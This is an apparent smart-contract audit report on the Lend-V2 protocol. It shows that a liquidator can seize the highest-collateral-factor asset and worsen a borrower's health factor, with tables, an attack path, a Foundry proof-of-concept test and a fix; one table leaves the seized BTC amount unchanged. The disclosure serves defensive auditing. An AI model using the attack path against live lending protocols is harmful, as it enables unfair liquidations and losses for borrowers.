Winning Cinnabar Gorilla

Medium

# Liquidation can make a borrower position's health factor even worse

### Summary

By picking up the collateral with highest collateral factor (LTV) instead of the lowest for liquidation, a liquidator can make a borrower position have worse health factor than before, increases bad debt and liquidation risk.

### Root Cause

When a borrower position is liquidated, the liquidator can choose whichever collateral to seize. 

[CoreRouter.sol#L223-L231](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L223-L231):
```solidity
    /**
     * @notice Liquidates a borrower's position for same chain borrows.
     * @param borrower The address of the borrower
     * @param repayAmount The amount to repay
     * @param lTokenCollateral The address of the collateral lToken
     * @param borrowedAsset The address of the asset that was borrowed
     */
    function liquidateBorrow(address borrower, uint256 repayAmount, address lTokenCollateral, address borrowedAsset)
        external
```

The problem is that protocol does not check if the seize will improve health factor, if the seized collateral has the highest collateral factor, the position's health factory may become even worse.

Assuming a user's position status is as below:

|  Collateral  | Collateral Price | Collateral Factor | Collateral Amount  |  Collateral Value  |
|:-----------|:-------------:|:---------------:|:---------------:|:----------:|  
| ETH | 2500 | 0.5 | 8 | 10000 |  
| BTC | 100000 | 0.8 | 0.125 | 10000 |  

|  Collateral Value  | Borrowed Value | Health Factor  |
|:-----------|:-------------:|:---------------:|
| 20000 | 20000 | 1.0 |

Then BTC price drops to 90000 and ETH price drops to 2000, we have:

|  Collateral  | Collateral Price | Collateral Factor | Collateral Amount  |  Collateral Value  |
|:-----------|:-------------:|:---------------:|:---------------:|:----------:|  
| ETH | 2000 | 0.5 | 8 | 8000 |  
| BTC | 90000 | 0.8 | 0.125 | 9000 |  

|  Collateral Value  | Borrowed Value | Health Factor  |
|:-----------|:-------------:|:---------------:|
| 17000 | 20000 | 0.85 |

A liquidation is triggered, the liquidation incentive is 1.08 and the liquidator chooses to seize BTC which has the highest collateral factor among the borrower's collaterals, the repay value is 10000, i.e. 0.12 BTC to seize (10000 * 1.08 / 9000).

Therefore, after the liquidation the borrower position is updated as the following:

|  Collateral  | Collateral Price | Collateral Factor | Collateral Amount  |  Collateral Value  |
|:-----------|:-------------:|:---------------:|:---------------:|:----------:|  
| ETH | 2000 | 0.5 | 8 | 8000 |  
| BTC | 90000 | 0.8 | 0.125 | 360 |  

|  Collateral Value  | Borrowed Value | Health Factor  |
|:-----------|:-------------:|:---------------:|
| 8360 | 10000 | 0.836 |

As can be seen, **the liquidation does not improve the borrower position's health factor but make it worse**.

A similar finding in a previous audit can be found [here](https://solodit.cyfrin.io/issues/m-14-liquidation-does-not-prioritize-lowest-ltv-tokens-sherlock-exactly-protocol-git).


### Internal Pre-conditions

A borrower position has collaterals with different collateral factor.

### External Pre-conditions

Collateral price drops leading to borrower position liquidatable.

### Attack Path

Liquidate to seize the collateral with highest collateral factor.

### Impact

Liquidators could unfairly liquidate borrowers no improving their health factor to liquidate them again. The protocol is at risk of a liquidation crisis.

### PoC

Please run `forge test --mt testPOC_WorseHealthFactor`.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import "forge-std/Test.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";

import {ILayerZeroEndpointV2} from "@layerzerolabs/lz-evm-protocol-v2/contracts/interfaces/ILayerZeroEndpointV2.sol";

import {Lend} from "../src/Governance/Lend.sol";
import {Lendtroller, LendtrollerInterface} from "../src/Lendtroller.sol";
import {LErc20Immutable, LToken} from "../src/LErc20Immutable.sol";
import {SimplePriceOracle} from "../src/SimplePriceOracle.sol";
import {WhitePaperInterestRateModel, InterestRateModel} from "../src/WhitePaperInterestRateModel.sol";

import {LendStorage} from "../src/LayerZero/LendStorage.sol";
import {CoreRouter} from "../src/LayerZero/CoreRouter.sol";
import {CrossChainRouter, Origin} from "../src/LayerZero/CrossChainRouter.sol";

contract POC is Test {
    using SafeERC20 for IERC20;

    uint32 constant chainAEid = 30101; // Ethereum
    uint32 constant chainBEid = 30184; // Base

    address owner;
    address mockDestLToken;
    address mockPeer;

    IERC20 btc;
    IERC20 dai;
    IERC20 weth;

    LErc20Immutable lTokenBTC;
    LErc20Immutable lTokenDAI;
    LErc20Immutable lTokenWETH;

    Lend lend;

    ILayerZeroEndpointV2 endpoint;

    Lendtroller lendtroller;
    SimplePriceOracle priceOracle;
    WhitePaperInterestRateModel interestRateModel;

    LendStorage lendStorage;
    CoreRouter coreRouter;
    CrossChainRouter crossChainRouter;

    function setUp() public {
        vm.createSelectFork("https://eth.drpc.org");

        owner = makeAddr("Owner");
        mockDestLToken = makeAddr("MockDestLToken");
        mockPeer = makeAddr("ChainBPeer");
        endpoint = ILayerZeroEndpointV2(
            0x1a44076050125825900e736c501f859c50fE728c
        );

        btc = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
        dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
        weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

        vm.startPrank(owner);

        // Deploy Lendtroller
        lendtroller = new Lendtroller();
        // Deploy Lend
        lend = new Lend(address(lendtroller));
        // Deploy PriceOracle
        priceOracle = new SimplePriceOracle();
        // Deploy InterestRateModel
        interestRateModel = new WhitePaperInterestRateModel(0.1e18, 0.05e18);
        // Deploy lTokens
        lTokenBTC = new LErc20Immutable(
            address(btc),
            lendtroller,
            interestRateModel,
            1e8, // 1:1
            "Lending BTC",
            "lBTC",
            18,
            payable(owner)
        );
        lTokenDAI = new LErc20Immutable(
            address(dai),
            lendtroller,
            interestRateModel,
            1e18, // 1:1
            "Lending DAI",
            "lDAI",
            18,
            payable(owner)
        );
        lTokenWETH = new LErc20Immutable(
            address(weth),
            lendtroller,
            interestRateModel,
            1e18, // 1:1
            "Lending WETH",
            "lWETH",
            18,
            payable(owner)
        );

        // Deploy LendStorage
        lendStorage = new LendStorage(
            address(lendtroller),
            address(priceOracle),
            chainAEid
        );
        // Deploy CoreRouter
        coreRouter = new CoreRouter(
            address(lendStorage),
            address(priceOracle),
            address(lendtroller)
        );
        // Deploy CrossChainRouter
        crossChainRouter = new CrossChainRouter(
            address(endpoint),
            owner,
            address(lendStorage),
            address(priceOracle),
            address(lendtroller),
            payable(address(coreRouter)),
            chainAEid
        );

        // Configurations
        {
            priceOracle.setUnderlyingPrice(lTokenBTC, 100000e18);
            priceOracle.setUnderlyingPrice(lTokenDAI, 1e18);
            priceOracle.setUnderlyingPrice(lTokenWETH, 2500e18);

            lendtroller._setPriceOracle(priceOracle);
            lendtroller.setLendStorage(address(lendStorage));
            lendtroller._supportMarket(lTokenBTC);
            lendtroller._supportMarket(lTokenDAI);
            lendtroller._supportMarket(lTokenWETH);
            lendtroller.setLendToken(address(lend));
            lendtroller._setCollateralFactor(lTokenBTC, 0.8e18);
            lendtroller._setCollateralFactor(lTokenDAI, 0.8e18);
            lendtroller._setCollateralFactor(lTokenWETH, 0.5e18);
            lendtroller._setCloseFactor(0.5e18);
            lendtroller._setLiquidationIncentive(1.08e18);

            LToken[] memory lTokens = new LToken[](3);
            lTokens[0] = lTokenBTC;
            lTokens[1] = lTokenDAI;
            lTokens[2] = lTokenWETH;
            uint256[] memory supplySpeeds = new uint256[](3);
            supplySpeeds[0] = 1e18;
            supplySpeeds[1] = 1e18;
            supplySpeeds[2] = 1e18;
            uint256[] memory borrowSpeeds = new uint256[](3);
            borrowSpeeds[0] = 2e18;
            borrowSpeeds[1] = 2e18;
            borrowSpeeds[2] = 2e18;
            lendtroller._setLendSpeeds(lTokens, supplySpeeds, borrowSpeeds);

            lendStorage.addSupportedTokens(address(btc), address(lTokenBTC));
            lendStorage.addSupportedTokens(address(dai), address(lTokenDAI));
            lendStorage.addSupportedTokens(address(weth), address(lTokenWETH));
            lendStorage.addUnderlyingToDestlToken(
                address(btc),
                address(mockDestLToken),
                chainBEid
            );
            lendStorage.addUnderlyingToDestlToken(
                address(dai),
                address(mockDestLToken),
                chainBEid
            );
            lendStorage.addUnderlyingToDestlToken(
                address(weth),
                address(mockDestLToken),
                chainBEid
            );
            lendStorage.setAuthorizedContract(address(coreRouter), true);
            lendStorage.setAuthorizedContract(address(crossChainRouter), true);

            crossChainRouter.setPeer(
                chainBEid,
                bytes32(uint256(uint160(mockPeer)))
            );

            coreRouter.setCrossChainRouter(address(crossChainRouter));

            deal(address(crossChainRouter), 1 ether);
        }

        vm.stopPrank();

        {
            vm.label(address(btc), "BTC");
            vm.label(address(dai), "DAI");
            vm.label(address(weth), "WETH");
            vm.label(address(lTokenBTC), "lToken BTC");
            vm.label(address(lTokenDAI), "lToken DAI");
            vm.label(address(lTokenWETH), "lToken WETH");
            vm.label(address(endpoint), "Endpoint");
            vm.label(address(lendtroller), "Lendtroller");
            vm.label(address(lend), "Lend");
            vm.label(address(priceOracle), "PriceOracle");
            vm.label(address(lendStorage), "LendStorage");
            vm.label(address(coreRouter), "CoreRouter");
            vm.label(address(crossChainRouter), "CrossChainRouter");
        }
    }

    function testPOC_WorseHealthFactor() public {
        // The codebase does not work with low decimals token,
        // so for the test we use a mock token
        IERC20 mockBTC = new ERC20("BTC", "BTC");
        LErc20Immutable lTokenMockBTC;

        {
            vm.startPrank(owner);

            lTokenMockBTC = new LErc20Immutable(
                address(mockBTC),
                lendtroller,
                interestRateModel,
                1e18, // 1:1
                "Lending BTC",
                "BTC",
                18,
                payable(owner)
            );

            priceOracle.setUnderlyingPrice(lTokenMockBTC, 100000e18);
            lendtroller._supportMarket(lTokenMockBTC);
            lendtroller._setCollateralFactor(lTokenMockBTC, 0.8e18);
            lendStorage.addSupportedTokens(address(mockBTC), address(lTokenMockBTC));

            vm.stopPrank();
        }

        // Supply Dai
        {
            address supplier = makeAddr("Supplier");
            deal(address(dai), supplier, 100000e18);

            vm.startPrank(supplier);
            dai.safeApprove(address(coreRouter), 100000e18);
            coreRouter.supply(100000e18, address(dai));
            vm.stopPrank();
        }

        address alice = makeAddr("Alice");
        deal(address(weth), alice, 8 ether);
        deal(address(mockBTC), alice, 0.125e18);

        // Alice supplies 8 WETH and 0.125 BTC to borrow 20000 DAI
        {
            vm.startPrank(alice);

            // Supply
            weth.safeApprove(address(coreRouter), 8 ether);
            coreRouter.supply(8 ether, address(weth));
            mockBTC.safeApprove(address(coreRouter), 0.125e18);
            coreRouter.supply(0.125e18, address(mockBTC));

            // Borrow
            coreRouter.borrow(20000e18, address(dai));

            vm.stopPrank();
        }

        // Collateral price drops
        priceOracle.setUnderlyingPrice(lTokenMockBTC, 90000e18);
        priceOracle.setUnderlyingPrice(lTokenWETH, 2000e18);

        uint256 healthFactorBeforeLiquidation;
        {
            (uint256 borrowed, uint256 collateral) = lendStorage.getHypotheticalAccountLiquidityCollateral(alice, lTokenDAI, 0, 0);
            healthFactorBeforeLiquidation = collateral * 1e18 / borrowed;

            assertEq(collateral, 17000e18);
            assertEq(borrowed, 20000e18);
            assertEq(healthFactorBeforeLiquidation, 0.85e18);
        }

        address bob = makeAddr("Bob");
        deal(address(dai), bob, 10000e18);

        vm.startPrank(bob);
        dai.approve(address(coreRouter), 10000e18);
        coreRouter.liquidateBorrow(alice, 10000e18, address(lTokenMockBTC), address(dai));
        vm.stopPrank();

        uint256 healthFactorAfterLiquidation;
        {
            (uint256 borrowed, uint256 collateral) = lendStorage.getHypotheticalAccountLiquidityCollateral(alice, lTokenDAI, 0, 0);
            healthFactorAfterLiquidation = collateral * 1e18 / borrowed;

            assertEq(collateral, 8360e18);
            assertEq(borrowed, 10000e18);
            assertEq(healthFactorAfterLiquidation, 0.836e18);
        }
        
        // Health Factor becomes worse
        assertLt(healthFactorAfterLiquidation, healthFactorBeforeLiquidation);
    }
}

```

### Mitigation

Add a check in the `liquidate` function to ensure that the health factor is improved after liquidation.
